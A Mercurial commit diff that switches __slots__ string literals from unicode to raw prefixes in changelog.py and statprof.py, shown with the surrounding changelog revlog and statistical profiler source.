global: use raw strings for __slots__

Otherwise Python 2 will coerce unicode to str at module load time.
We don't like automatic string coercions.

Differential Revision: https://phab.mercurial-scm.org/D6046

mercurial/changelog.py

@@ -1,582 +1,582 b''
 # changelog.py - changelog class for mercurial
 #
 # Copyright 2005-2007 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 from .i18n import _
 from .node import (
     bin,
     hex,
     nullid,
 )
 from .thirdparty import (
     attr,
 )
 
 from . import (
     encoding,
     error,
     pycompat,
     revlog,
     util,
 )
 from .utils import (
     dateutil,
     stringutil,
 )
 
 _defaultextra = {'branch': 'default'}
 
 def _string_escape(text):
     """
     >>> from .pycompat import bytechr as chr
     >>> d = {b'nl': chr(10), b'bs': chr(92), b'cr': chr(13), b'nul': chr(0)}
     >>> s = b"ab%(nl)scd%(bs)s%(bs)sn%(nul)sab%(cr)scd%(bs)s%(nl)s" % d
     >>> s
     'ab\\ncd\\\\\\\\n\\x00ab\\rcd\\\\\\n'
     >>> res = _string_escape(s)
     >>> s == stringutil.unescapestr(res)
     True
     """
     # subset of the string_escape codec
     text = text.replace('\\', '\\\\').replace('\n', '\\n').replace('\r', '\\r')
     return text.replace('\0', '\\0')
 
 def decodeextra(text):
     """
     >>> from .pycompat import bytechr as chr
     >>> sorted(decodeextra(encodeextra({b'foo': b'bar', b'baz': chr(0) + b'2'})
     ...                    ).items())
     [('baz', '\\x002'), ('branch', 'default'), ('foo', 'bar')]
     >>> sorted(decodeextra(encodeextra({b'foo': b'bar',
     ...                                 b'baz': chr(92) + chr(0) + b'2'})
     ...                    ).items())
     [('baz', '\\\\\\x002'), ('branch', 'default'), ('foo', 'bar')]
     """
     extra = _defaultextra.copy()
     for l in text.split('\0'):
         if l:
             if '\\0' in l:
                 # fix up \0 without getting into trouble with \\0
                 l = l.replace('\\\\', '\\\\\n')
                 l = l.replace('\\0', '\0')
                 l = l.replace('\n', '')
             k, v = stringutil.unescapestr(l).split(':', 1)
             extra[k] = v
     return extra
 
 def encodeextra(d):
     # keys must be sorted to produce a deterministic changelog entry
     items = [
         _string_escape('%s:%s' % (k, pycompat.bytestr(d[k])))
         for k in sorted(d)
     ]
     return "\0".join(items)
 
 def stripdesc(desc):
     """strip trailing whitespace and leading and trailing empty lines"""
     return '\n'.join([l.rstrip() for l in desc.splitlines()]).strip('\n')
 
 class appender(object):
     '''the changelog index must be updated last on disk, so we use this class
     to delay writes to it'''
     def __init__(self, vfs, name, mode, buf):
         self.data = buf
         fp = vfs(name, mode)
         self.fp = fp
         self.offset = fp.tell()
         self.size = vfs.fstat(fp).st_size
         self._end = self.size
 
     def end(self):
         return self._end
     def tell(self):
         return self.offset
     def flush(self):
         pass
 
     @property
     def closed(self):
         return self.fp.closed
 
     def close(self):
         self.fp.close()
 
     def seek(self, offset, whence=0):
         '''virtual file offset spans real file and data'''
         if whence == 0:
             self.offset = offset
         elif whence == 1:
             self.offset += offset
         elif whence == 2:
             self.offset = self.end() + offset
         if self.offset < self.size:
             self.fp.seek(self.offset)
 
     def read(self, count=-1):
         '''only trick here is reads that span real file and data'''
         ret = ""
         if self.offset < self.size:
             s = self.fp.read(count)
             ret = s
             self.offset += len(s)
             if count > 0:
                 count -= len(s)
         if count != 0:
             doff = self.offset - self.size
             self.data.insert(0, "".join(self.data))
             del self.data[1:]
             s = self.data[0][doff:doff + count]
             self.offset += len(s)
             ret += s
         return ret
 
     def write(self, s):
         self.data.append(bytes(s))
         self.offset += len(s)
         self._end += len(s)
 
     def __enter__(self):
         self.fp.__enter__()
         return self
 
     def __exit__(self, *args):
         return self.fp.__exit__(*args)
 
 def _divertopener(opener, target):
     """build an opener that writes in 'target.a' instead of 'target'"""
     def _divert(name, mode='r', checkambig=False):
         if name != target:
             return opener(name, mode)
         return opener(name + ".a", mode)
     return _divert
 
 def _delayopener(opener, target, buf):
     """build an opener that stores chunks in 'buf' instead of 'target'"""
     def _delay(name, mode='r', checkambig=False):
         if name != target:
             return opener(name, mode)
         return appender(opener, name, mode, buf)
     return _delay
 
 @attr.s
 class _changelogrevision(object):
     # Extensions might modify _defaultextra, so let the constructor below pass
     # it in
     extra = attr.ib()
     manifest = attr.ib(default=nullid)
     user = attr.ib(default='')
     date = attr.ib(default=(0, 0))
     files = attr.ib(default=attr.Factory(list))
     description = attr.ib(default='')
 
 class changelogrevision(object):
     """Holds results of a parsed changelog revision.
 
     Changelog revisions consist of multiple pieces of data, including
     the manifest node, user, and date. This object exposes a view into
     the parsed object.
     """
 
     __slots__ = (
-        u'_offsets',
-        u'_text',
+        r'_offsets',
+        r'_text',
     )
 
     def __new__(cls, text):
         if not text:
             return _changelogrevision(extra=_defaultextra)
 
         self = super(changelogrevision, cls).__new__(cls)
         # We could return here and implement the following as an __init__.
         # But doing it here is equivalent and saves an extra function call.
 
         # format used:
         # nodeid\n        : manifest node in ascii
         # user\n          : user, no \n or \r allowed
         # time tz extra\n : date (time is int or float, timezone is int)
         #                 : extra is metadata, encoded and separated by '\0'
         #                 : older versions ignore it
         # files\n\n       : files modified by the cset, no \n or \r allowed
         # (.*)            : comment (free text, ideally utf-8)
         #
         # changelog v0 doesn't use extra
 
         nl1 = text.index('\n')
         nl2 = text.index('\n', nl1 + 1)
         nl3 = text.index('\n', nl2 + 1)
 
         # The list of files may be empty. Which means nl3 is the first of the
         # double newline that precedes the description.
         if text[nl3 + 1:nl3 + 2] == '\n':
             doublenl = nl3
         else:
             doublenl = text.index('\n\n', nl3 + 1)
 
         self._offsets = (nl1, nl2, nl3, doublenl)
         self._text = text
 
         return self
 
     @property
     def manifest(self):
         return bin(self._text[0:self._offsets[0]])
 
     @property
     def user(self):
         off = self._offsets
         return encoding.tolocal(self._text[off[0] + 1:off[1]])
 
     @property
     def _rawdate(self):
         off = self._offsets
         dateextra = self._text[off[1] + 1:off[2]]
         return dateextra.split(' ', 2)[0:2]
 
     @property
     def _rawextra(self):
         off = self._offsets
         dateextra = self._text[off[1] + 1:off[2]]
         fields = dateextra.split(' ', 2)
         if len(fields) != 3:
             return None
 
         return fields[2]
 
     @property
     def date(self):
         raw = self._rawdate
         time = float(raw[0])
         # Various tools did silly things with the timezone.
         try:
             timezone = int(raw[1])
         except ValueError:
             timezone = 0
 
         return time, timezone
 
     @property
     def extra(self):
         raw = self._rawextra
         if raw is None:
             return _defaultextra
 
         return decodeextra(raw)
 
     @property
     def files(self):
         off = self._offsets
         if off[2] == off[3]:
             return []
 
         return self._text[off[2] + 1:off[3]].split('\n')
 
     @property
     def description(self):
         return encoding.tolocal(self._text[self._offsets[3] + 2:])
 
 class changelog(revlog.revlog):
     def __init__(self, opener, trypending=False):
         """Load a changelog revlog using an opener.
 
         If ``trypending`` is true, we attempt to load the index from a
         ``00changelog.i.a`` file instead of the default ``00changelog.i``.
         The ``00changelog.i.a`` file contains index (and possibly inline
         revision) data for a transaction that hasn't been finalized yet.
         It exists in a separate file to facilitate readers (such as
         hooks processes) accessing data before a transaction is finalized.
         """
         if trypending and opener.exists('00changelog.i.a'):
             indexfile = '00changelog.i.a'
         else:
             indexfile = '00changelog.i'
 
         datafile = '00changelog.d'
         revlog.revlog.__init__(self, opener, indexfile, datafile=datafile,
                                checkambig=True, mmaplargeindex=True)
 
         if self._initempty and (self.version & 0xFFFF == revlog.REVLOGV1):
             # changelogs don't benefit from generaldelta.
 
             self.version &= ~revlog.FLAG_GENERALDELTA
             self._generaldelta = False
 
         # Delta chains for changelogs tend to be very small because entries
         # tend to be small and don't delta well with each. So disable delta
         # chains.
         self._storedeltachains = False
 
         self._realopener = opener
         self._delayed = False
         self._delaybuf = None
         self._divert = False
         self.filteredrevs = frozenset()
 
     def tiprev(self):
         for i in pycompat.xrange(len(self) -1, -2, -1):
             if i not in self.filteredrevs:
                 return i
 
     def tip(self):
         """filtered version of revlog.tip"""
         return self.node(self.tiprev())
 
     def __contains__(self, rev):
         """filtered version of revlog.__contains__"""
         return (0 <= rev < len(self)
                 and rev not in self.filteredrevs)
 
     def __iter__(self):
         """filtered version of revlog.__iter__"""
         if len(self.filteredrevs) == 0:
             return revlog.revlog.__iter__(self)
 
         def filterediter():
             for i in pycompat.xrange(len(self)):
                 if i not in self.filteredrevs:
                     yield i
 
         return filterediter()
 
     def revs(self, start=0, stop=None):
         """filtered version of revlog.revs"""
         for i in super(changelog, self).revs(start, stop):
             if i not in self.filteredrevs:
                 yield i
 
     def reachableroots(self, minroot, heads, roots, includepath=False):
         return self.index.reachableroots2(minroot, heads, roots, includepath)
 
     def _checknofilteredinrevs(self, revs):
         """raise the appropriate error if 'revs' contains a filtered revision
 
         This returns a version of 'revs' to be used thereafter by the caller.
         In particular, if revs is an iterator, it is converted into a set.
         """
         safehasattr = util.safehasattr
         if safehasattr(revs, '__next__'):
             # Note that inspect.isgenerator() is not true for iterators,
             revs = set(revs)
 
         filteredrevs = self.filteredrevs
         if safehasattr(revs, 'first'):  # smartset
             offenders = revs & filteredrevs
         else:
             offenders = filteredrevs.intersection(revs)
 
         for rev in offenders:
             raise error.FilteredIndexError(rev)
         return revs
 
     def headrevs(self, revs=None):
         if revs is None and self.filteredrevs:
             try:
                 return self.index.headrevsfiltered(self.filteredrevs)
             # AttributeError covers non-c-extension environments and
             # old c extensions without filter handling.
             except AttributeError:
                 return self._headrevs()
 
         if self.filteredrevs:
             revs = self._checknofilteredinrevs(revs)
         return super(changelog, self).headrevs(revs)
 
     def strip(self, *args, **kwargs):
         # XXX make something better than assert
         # We can't expect proper strip behavior if we are filtered.
         assert not self.filteredrevs
         super(changelog, self).strip(*args, **kwargs)
 
     def rev(self, node):
         """filtered version of revlog.rev"""
         r = super(changelog, self).rev(node)
         if r in self.filteredrevs:
             raise error.FilteredLookupError(hex(node), self.indexfile,
                                             _('filtered node'))
         return r
 
     def node(self, rev):
         """filtered version of revlog.node"""
         if rev in self.filteredrevs:
             raise error.FilteredIndexError(rev)
         return super(changelog, self).node(rev)
 
     def linkrev(self, rev):
         """filtered version of revlog.linkrev"""
         if rev in self.filteredrevs:
             raise error.FilteredIndexError(rev)
         return super(changelog, self).linkrev(rev)
 
     def parentrevs(self, rev):
         """filtered version of revlog.parentrevs"""
         if rev in self.filteredrevs:
             raise error.FilteredIndexError(rev)
         return super(changelog, self).parentrevs(rev)
 
     def flags(self, rev):
         """filtered version of revlog.flags"""
         if rev in self.filteredrevs:
             raise error.FilteredIndexError(rev)
         return super(changelog, self).flags(rev)
 
     def delayupdate(self, tr):
         "delay visibility of index updates to other readers"
 
         if not self._delayed:
             if len(self) == 0:
                 self._divert = True
                 if self._realopener.exists(self.indexfile + '.a'):
                     self._realopener.unlink(self.indexfile + '.a')
                 self.opener = _divertopener(self._realopener, self.indexfile)
             else:
                 self._delaybuf = []
                 self.opener = _delayopener(self._realopener, self.indexfile,
                                            self._delaybuf)
         self._delayed = True
         tr.addpending('cl-%i' % id(self), self._writepending)
         tr.addfinalize('cl-%i' % id(self), self._finalize)
 
     def _finalize(self, tr):
         "finalize index updates"
         self._delayed = False
         self.opener = self._realopener
         # move redirected index data back into place
         if self._divert:
             assert not self._delaybuf
             tmpname = self.indexfile + ".a"
             nfile = self.opener.open(tmpname)
             nfile.close()
             self.opener.rename(tmpname, self.indexfile, checkambig=True)
         elif self._delaybuf:
             fp = self.opener(self.indexfile, 'a', checkambig=True)
             fp.write("".join(self._delaybuf))
             fp.close()
             self._delaybuf = None
         self._divert = False
         # split when we're done
         self._enforceinlinesize(tr)
 
     def _writepending(self, tr):
         "create a file containing the unfinalized state for pretxnchangegroup"
         if self._delaybuf:
             # make a temporary copy of the index
             fp1 = self._realopener(self.indexfile)
             pendingfilename = self.indexfile + ".a"
             # register as a temp file to ensure cleanup on failure
             tr.registertmp(pendingfilename)
             # write existing data
             fp2 = self._realopener(pendingfilename, "w")
             fp2.write(fp1.read())
             # add pending data
             fp2.write("".join(self._delaybuf))
             fp2.close()
             # switch modes so finalize can simply rename
             self._delaybuf = None
             self._divert = True
             self.opener = _divertopener(self._realopener, self.indexfile)
 
         if self._divert:
             return True
 
         return False
 
     def _enforceinlinesize(self, tr, fp=None):
         if not self._delayed:
             revlog.revlog._enforceinlinesize(self, tr, fp)
 
     def read(self, node):
         """Obtain data from a parsed changelog revision.
 
         Returns a 6-tuple of:
 
            - manifest node in binary
            - author/user as a localstr
            - date as a 2-tuple of (time, timezone)
            - list of files
            - commit message as a localstr
            - dict of extra metadata
 
         Unless you need to access all fields, consider calling
         ``changelogrevision`` instead, as it is faster for partial object
         access.
         """
         c = changelogrevision(self.revision(node))
         return (
             c.manifest,
             c.user,
             c.date,
             c.files,
             c.description,
             c.extra
         )
 
     def changelogrevision(self, nodeorrev):
         """Obtain a ``changelogrevision`` for a node or revision."""
         return changelogrevision(self.revision(nodeorrev))
 
     def readfiles(self, node):
         """
         short version of read that only returns the files modified by the cset
         """
         text = self.revision(node)
         if not text:
             return []
         last = text.index("\n\n")
         l = text[:last].split('\n')
         return l[3:]
 
     def add(self, manifest, files, desc, transaction, p1, p2,
                   user, date=None, extra=None):
         # Convert to UTF-8 encoded bytestrings as the very first
         # thing: calling any method on a localstr object will turn it
         # into a str object and the cached UTF-8 string is thus lost.
         user, desc = encoding.fromlocal(user), encoding.fromlocal(desc)
 
         user = user.strip()
         # An empty username or a username with a "\n" will make the
         # revision text contain two "\n\n" sequences -> corrupt
         # repository since read cannot unpack the revision.
         if not user:
             raise error.StorageError(_("empty username"))
         if "\n" in user:
             raise error.StorageError(_("username %r contains a newline")
                                      % pycompat.bytestr(user))
 
         desc = stripdesc(desc)
 
         if date:
             parseddate = "%d %d" % dateutil.parsedate(date)
         else:
             parseddate = "%d %d" % dateutil.makedate()
         if extra:
             branch = extra.get("branch")
             if branch in ("default", ""):
                 del extra["branch"]
             elif branch in (".", "null", "tip"):
                 raise error.StorageError(_('the name \'%s\' is reserved')
                                          % branch)
         if extra:
             extra = encodeextra(extra)
             parseddate = "%s %s" % (parseddate, extra)
         l = [hex(manifest), user, parseddate] + sorted(files) + ["", desc]
         text = "\n".join(l)
         return self.addrevision(text, transaction, len(self), p1, p2)
 
     def branchinfo(self, rev):
         """return the branch name and open/close state of a revision
 
         This function exists because creating a changectx object
         just to access this is costly."""
         extra = self.read(rev)[5]
         return encoding.tolocal(extra.get("branch")), 'close' in extra
 
     def _nodeduplicatecallback(self, transaction, node):
         # keep track of revisions that got "re-added", eg: unbunde of know rev.
         #
         # We track them in a list to preserve their order from the source bundle
         duplicates = transaction.changes.setdefault('revduplicates', [])
         duplicates.append(self.rev(node))

mercurial/statprof.py

@@ -1,969 +1,969 b''
 #!/usr/bin/env python
 ## statprof.py
 ## Copyright (C) 2012 Bryan O'Sullivan <[e-mail]>
 ## Copyright (C) 2011 Alex Fraser <alex at phatcore dot com>
 ## Copyright (C) 2004,2005 Andy Wingo <wingo at pobox dot com>
 ## Copyright (C) 2001 Rob Browning <rlb at defaultvalue dot org>
 
 ## This library is free software; you can redistribute it and/or
 ## modify it under the terms of the GNU Lesser General Public
 ## License as published by the Free Software Foundation; either
 ## version 2.1 of the License, or (at your option) any later version.
 ##
 ## This library is distributed in the hope that it will be useful,
 ## but WITHOUT ANY WARRANTY; without even the implied warranty of
 ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 ## Lesser General Public License for more details.
 ##
 ## You should have received a copy of the GNU Lesser General Public
 ## License along with this program; if not, contact:
 ##
 ## Free Software Foundation           Voice:  [phone]
 ## 59 Temple Place - Suite 330        Fax:    [phone]
 ## Boston, MA  02111-1307,  USA       [e-mail]
 
 """
 statprof is intended to be a fairly simple statistical profiler for
 python. It was ported directly from a statistical profiler for guile,
 also named statprof, available from guile-lib [0].
 
 [0] http://wingolog.org/software/guile-lib/statprof/
 
 To start profiling, call statprof.start():
 >>> start()
 
 Then run whatever it is that you want to profile, for example:
 >>> import test.pystone; test.pystone.pystones()
 
 Then stop the profiling and print out the results:
 >>> stop()
 >>> display()
   %   cumulative      self
  time    seconds   seconds  name
  26.72      1.40      0.37  pystone.py:79:Proc0
  13.79      0.56      0.19  pystone.py:133:Proc1
  13.79      0.19      0.19  pystone.py:208:Proc8
  10.34      0.16      0.14  pystone.py:229:Func2
   6.90      0.10      0.10  pystone.py:45:__init__
   4.31      0.16      0.06  pystone.py:53:copy
     ...
 
 All of the numerical data is statistically approximate. In the
 following column descriptions, and in all of statprof, "time" refers
 to execution time (both user and system), not wall clock time.
 
 % time
     The percent of the time spent inside the procedure itself (not
     counting children).
 
 cumulative seconds
     The total number of seconds spent in the procedure, including
     children.
 
 self seconds
     The total number of seconds spent in the procedure itself (not
     counting children).
 
 name
     The name of the procedure.
 
 By default statprof keeps the data collected from previous runs. If you
 want to clear the collected data, call reset():
 >>> reset()
 
 reset() can also be used to change the sampling frequency from the
 default of 1000 Hz. For example, to tell statprof to sample 50 times a
 second:
 >>> reset(50)
 
 This means that statprof will sample the call stack after every 1/50 of
 a second of user + system time spent running on behalf of the python
 process. When your process is idle (for example, blocking in a read(),
 as is the case at the listener), the clock does not advance. For this
 reason statprof is not currently not suitable for profiling io-bound
 operations.
 
 The profiler uses the hash of the code object itself to identify the
 procedures, so it won't confuse different procedures with the same name.
 They will show up as two different rows in the output.
 
 Right now the profiler is quite simplistic.  I cannot provide
 call-graphs or other higher level information.  What you see in the
 table is pretty much all there is. Patches are welcome :-)
 
 
 Threading
 ---------
 
 Because signals only get delivered to the main thread in Python,
 statprof only profiles the main thread. However because the time
 reporting function uses per-process timers, the results can be
 significantly off if other threads' work patterns are not similar to the
 main thread's work patterns.
 """
 # no-check-code
 from __future__ import absolute_import, division, print_function
 
 import collections
 import contextlib
 import getopt
 import inspect
 import json
 import os
 import signal
 import sys
 import threading
 import time
 
 from . import (
     encoding,
     pycompat,
 )
 
 defaultdict = collections.defaultdict
 contextmanager = contextlib.contextmanager
 
 __all__ = ['start', 'stop', 'reset', 'display', 'profile']
 
 skips = {
     r"util.py:check",
     r"extensions.py:closure",
     r"color.py:colorcmd",
     r"dispatch.py:checkargs",
     r"dispatch.py:<lambda>",
     r"dispatch.py:_runcatch",
     r"dispatch.py:_dispatch",
     r"dispatch.py:_runcommand",
     r"pager.py:pagecmd",
     r"dispatch.py:run",
     r"dispatch.py:dispatch",
     r"dispatch.py:runcommand",
     r"hg.py:<module>",
     r"evolve.py:warnobserrors",
 }
 
 ###########################################################################
 ## Utils
 
 def clock():
     times = os.times()
     return (times[0] + times[1], times[4])
 
 
 ###########################################################################
 ## Collection data structures
 
 class ProfileState(object):
     def __init__(self, frequency=None):
         self.reset(frequency)
         self.track = 'cpu'
 
     def reset(self, frequency=None):
         # total so far
         self.accumulated_time = (0.0, 0.0)
         # start_time when timer is active
         self.last_start_time = None
         # a float
         if frequency:
             self.sample_interval = 1.0 / frequency
         elif not hasattr(self, 'sample_interval'):
             # default to 1000 Hz
             self.sample_interval = 1.0 / 1000.0
         else:
             # leave the frequency as it was
             pass
         self.remaining_prof_time = None
         # for user start/stop nesting
         self.profile_level = 0
 
         self.samples = []
 
     def accumulate_time(self, stop_time):
         increment = (
             stop_time[0] - self.last_start_time[0],
             stop_time[1] - self.last_start_time[1],
         )
         self.accumulated_time = (
             self.accumulated_time[0] + increment[0],
             self.accumulated_time[1] + increment[1],
         )
 
     def seconds_per_sample(self):
         return self.accumulated_time[self.timeidx] / len(self.samples)
 
     @property
     def timeidx(self):
         if self.track == 'real':
             return 1
         return 0
 
 state = ProfileState()
 
 
 class CodeSite(object):
     cache = {}
 
-    __slots__ = (u'path', u'lineno', u'function', u'source')
+    __slots__ = (r'path', r'lineno', r'function', r'source')
 
     def __init__(self, path, lineno, function):
         assert isinstance(path, bytes)
         self.path = path
         self.lineno = lineno
         assert isinstance(function, bytes)
         self.function = function
         self.source = None
 
     def __eq__(self, other):
         try:
             return (self.lineno == other.lineno and
                     self.path == other.path)
         except:
             return False
 
     def __hash__(self):
         return hash((self.lineno, self.path))
 
     @classmethod
     def get(cls, path, lineno, function):
         k = (path, lineno)
         try:
             return cls.cache[k]
         except KeyError:
             v = cls(path, lineno, function)
             cls.cache[k] = v
             return v
 
     def getsource(self, length):
         if self.source is None:
             lineno = self.lineno - 1
             fp = None
             try:
                 fp = open(self.path, 'rb')
                 for i, line in enumerate(fp):
                     if i == lineno:
                         self.source = line.strip()
                         break
             except:
                 pass
             finally:
                 if fp:
                     fp.close()
             if self.source is None:
                 self.source = ''
 
         source = self.source
         if len(source) > length:
             source = source[:(length - 3)] + "..."
         return source
 
     def filename(self):
         return os.path.basename(self.path)
 
     def skipname(self):
         return r'%s:%s' % (self.filename(), self.function)
 
 class Sample(object):
-    __slots__ = (u'stack', u'time')
+    __slots__ = (r'stack', r'time')
 
     def __init__(self, stack, time):
         self.stack = stack
         self.time = time
 
     @classmethod
     def from_frame(cls, frame, time):
         stack = []
 
         while frame:
             stack.append(CodeSite.get(
                 pycompat.sysbytes(frame.f_code.co_filename),
                 frame.f_lineno,
                 pycompat.sysbytes(frame.f_code.co_name)))
             frame = frame.f_back
 
         return Sample(stack, time)
 
 ###########################################################################
 ## SIGPROF handler
 
 def profile_signal_handler(signum, frame):
     if state.profile_level > 0:
         now = clock()
         state.accumulate_time(now)
 
         timestamp = state.accumulated_time[state.timeidx]
         state.samples.append(Sample.from_frame(frame, timestamp))
 
         signal.setitimer(signal.ITIMER_PROF,
             state.sample_interval, 0.0)
         state.last_start_time = now
 
 stopthread = threading.Event()
 def samplerthread(tid):
     while not stopthread.is_set():
         now = clock()
         state.accumulate_time(now)
 
         frame = sys._current_frames()[tid]
 
         timestamp = state.accumulated_time[state.timeidx]
         state.samples.append(Sample.from_frame(frame, timestamp))
 
         state.last_start_time = now
         time.sleep(state.sample_interval)
 
     stopthread.clear()
 
 ###########################################################################
 ## Profiling API
 
 def is_active():
     return state.profile_level > 0
 
 lastmechanism = None
 def start(mechanism='thread', track='cpu'):
     '''Install the profiling signal handler, and start profiling.'''
     state.track = track # note: nesting different mode won't work
     state.profile_level += 1
     if state.profile_level == 1:
         state.last_start_time = clock()
         rpt = state.remaining_prof_time
         state.remaining_prof_time = None
 
         global lastmechanism
         lastmechanism = mechanism
 
         if mechanism == 'signal':
             signal.signal(signal.SIGPROF, profile_signal_handler)
             signal.setitimer(signal.ITIMER_PROF,
                 rpt or state.sample_interval, 0.0)
         elif mechanism == 'thread':
             frame = inspect.currentframe()
             tid = [k for k, f in sys._current_frames().items() if f == frame][0]
             state.thread = threading.Thread(target=samplerthread,
                                  args=(tid,), name="samplerthread")
             state.thread.start()
 
 def stop():
     '''Stop profiling, and uninstall the profiling signal handler.'''
     state.profile_level -= 1
     if state.profile_level == 0:
         if lastmechanism == 'signal':
             rpt = signal.setitimer(signal.ITIMER_PROF, 0.0, 0.0)
             signal.signal(signal.SIGPROF, signal.SIG_IGN)
             state.remaining_prof_time = rpt[0]
         elif lastmechanism == 'thread':
             stopthread.set()
             state.thread.join()
 
         state.accumulate_time(clock())
         state.last_start_time = None
         statprofpath = encoding.environ.get('STATPROF_DEST')
         if statprofpath:
             save_data(statprofpath)
 
     return state
 
 def save_data(path):
     with open(path, 'w+') as file:
         file.write("%f %f\n" % state.accumulated_time)
         for sample in state.samples:
             time = sample.time
             stack = sample.stack
             sites = ['\1'.join([s.path, b'%d' % s.lineno, s.function])
                      for s in stack]
             file.write("%d\0%s\n" % (time, '\0'.join(sites)))
 
 def load_data(path):
     lines = open(path, 'rb').read().splitlines()
 
     state.accumulated_time = [float(value) for value in lines[0].split()]
     state.samples = []
     for line in lines[1:]:
         parts = line.split('\0')
         time = float(parts[0])
         rawsites = parts[1:]
         sites = []
         for rawsite in rawsites:
             siteparts = rawsite.split('\1')
             sites.append(CodeSite.get(siteparts[0], int(siteparts[1]),
                         siteparts[2]))
 
         state.samples.append(Sample(sites, time))
 
 
 
 def reset(frequency=None):
     '''Clear out the state of the profiler.  Do not call while the
     profiler is running.
 
     The optional frequency argument specifies the number of samples to
     collect per second.'''
     assert state.profile_level == 0, "Can't reset() while statprof is running"
     CodeSite.cache.clear()
     state.reset(frequency)
 
 
 @contextmanager
 def profile():
     start()
     try:
         yield
     finally:
         stop()
         display()
 
 
 ###########################################################################
 ## Reporting API
 
 class SiteStats(object):
     def __init__(self, site):
         self.site = site
         self.selfcount = 0
         self.totalcount = 0
 
     def addself(self):
         self.selfcount += 1
 
     def addtotal(self):
         self.totalcount += 1
 
     def selfpercent(self):
         return self.selfcount / len(state.samples) * 100
 
     def totalpercent(self):
         return self.totalcount / len(state.samples) * 100
 
     def selfseconds(self):
         return self.selfcount * state.seconds_per_sample()
 
     def totalseconds(self):
         return self.totalcount * state.seconds_per_sample()
 
     @classmethod
     def buildstats(cls, samples):
         stats = {}
 
         for sample in samples:
             for i, site in enumerate(sample.stack):
                 sitestat = stats.get(site)
                 if not sitestat:
                     sitestat = SiteStats(site)
                     stats[site] = sitestat
 
                 sitestat.addtotal()
 
                 if i == 0:
                     sitestat.addself()
 
         return [s for s in stats.itervalues()]
 
 class DisplayFormats:
     ByLine = 0
     ByMethod = 1
     AboutMethod = 2
     Hotpath = 3
     FlameGraph = 4
     Json = 5
     Chrome = 6
 
 def display(fp=None, format=3, data=None, **kwargs):
     '''Print statistics, either to stdout or the given file object.'''
     if data is None:
         data = state
 
     if fp is None:
         import sys
         fp = sys.stdout
     if len(data.samples) == 0:
         fp.write(b'No samples recorded.\n')
         return
 
     if format == DisplayFormats.ByLine:
         display_by_line(data, fp)
     elif format == DisplayFormats.ByMethod:
         display_by_method(data, fp)
     elif format == DisplayFormats.AboutMethod:
         display_about_method(data, fp, **kwargs)
     elif format == DisplayFormats.Hotpath:
         display_hotpath(data, fp, **kwargs)
     elif format == DisplayFormats.FlameGraph:
         write_to_flame(data, fp, **kwargs)
     elif format == DisplayFormats.Json:
         write_to_json(data, fp)
     elif format == DisplayFormats.Chrome:
         write_to_chrome(data, fp, **kwargs)
     else:
         raise Exception("Invalid display format")
 
     if format not in (DisplayFormats.Json, DisplayFormats.Chrome):
         fp.write(b'---\n')
         fp.write(b'Sample count: %d\n' % len(data.samples))
         fp.write(b'Total time: %f seconds (%f wall)\n' % data.accumulated_time)
 
 def display_by_line(data, fp):
     '''Print the profiler data with each sample line represented
     as one row in a table.  Sorted by self-time per line.'''
     stats = SiteStats.buildstats(data.samples)
     stats.sort(reverse=True, key=lambda x: x.selfseconds())
 
     fp.write(b'%5.5s %10.10s   %7.7s  %-8.8s\n' % (
         b'%  ', b'cumulative', b'self', b''))
     fp.write(b'%5.5s  %9.9s  %8.8s  %-8.8s\n' % (
         b"time", b"seconds", b"seconds", b"name"))
 
     for stat in stats:
         site = stat.site
         sitelabel = '%s:%d:%s' % (site.filename(),
                                   site.lineno,
                                   site.function)
         fp.write(b'%6.2f %9.2f %9.2f  %s\n' % (
             stat.selfpercent(), stat.totalseconds(),
             stat.selfseconds(), sitelabel))
 
 def display_by_method(data, fp):
     '''Print the profiler data with each sample function represented
     as one row in a table.  Important lines within that function are
     output as nested rows.  Sorted by self-time per line.'''
     fp.write(b'%5.5s %10.10s   %7.7s  %-8.8s\n' %
           ('%  ', 'cumulative', 'self', ''))
     fp.write(b'%5.5s  %9.9s  %8.8s  %-8.8s\n' %
           ("time", "seconds", "seconds", "name"))
 
     stats = SiteStats.buildstats(data.samples)
 
     grouped = defaultdict(list)
     for stat in stats:
         grouped[stat.site.filename() + b":" + stat.site.function].append(stat)
 
     # compute sums for each function
     functiondata = []
     for fname, sitestats in grouped.iteritems():
         total_cum_sec = 0
         total_self_sec = 0
         total_percent = 0
         for stat in sitestats:
             total_cum_sec += stat.totalseconds()
             total_self_sec += stat.selfseconds()
             total_percent += stat.selfpercent()
 
         functiondata.append((fname,
                              total_cum_sec,
                              total_self_sec,
                              total_percent,
                              sitestats))
 
     # sort by total self sec
     functiondata.sort(reverse=True, key=lambda x: x[2])
 
     for function in functiondata:
         if function[3] < 0.05:
             continue
         fp.write(b'%6.2f %9.2f %9.2f  %s\n' % (
             function[3], # total percent
             function[1], # total cum sec
             function[2], # total self sec
             function[0])) # file:function
 
         function[4].sort(reverse=True, key=lambda i: i.selfseconds())
         for stat in function[4]:
             # only show line numbers for significant locations (>1% time spent)
             if stat.selfpercent() > 1:
                 source = stat.site.getsource(25)
                 if sys.version_info.major >= 3 and not isinstance(source, bytes):
                     source = pycompat.bytestr(source)
 
                 stattuple = (stat.selfpercent(), stat.selfseconds(),
                              stat.site.lineno, source)
 
                 fp.write(b'%33.0f%% %6.2f   line %d: %s\n' % stattuple)
 
 def display_about_method(data, fp, function=None, **kwargs):
     if function is None:
         raise Exception("Invalid function")
 
     filename = None
     if ':' in function:
         filename, function = function.split(':')
 
     relevant_samples = 0
     parents = {}
     children = {}
 
     for sample in data.samples:
         for i, site in enumerate(sample.stack):
             if site.function == function and (not filename
                 or site.filename() == filename):
                 relevant_samples += 1
                 if i != len(sample.stack) - 1:
                     parent = sample.stack[i + 1]
                     if parent in parents:
                         parents[parent] = parents[parent] + 1
                     else:
                         parents[parent] = 1
 
                 if site in children:
                     children[site] = children[site] + 1
                 else:
                     children[site] = 1
 
     parents = [(parent, count) for parent, count in parents.iteritems()]
     parents.sort(reverse=True, key=lambda x: x[1])
     for parent, count in parents:
         fp.write(b'%6.2f%%   %s:%s   line %s: %s\n' %
             (count / relevant_samples * 100,
              pycompat.fsencode(parent.filename()),
              pycompat.sysbytes(parent.function),
              parent.lineno,
              pycompat.sysbytes(parent.getsource(50))))
 
     stats = SiteStats.buildstats(data.samples)
     stats = [s for s in stats
                if s.site.function == function and
                (not filename or s.site.filename() == filename)]
 
     total_cum_sec = 0
     total_self_sec = 0
     total_self_percent = 0
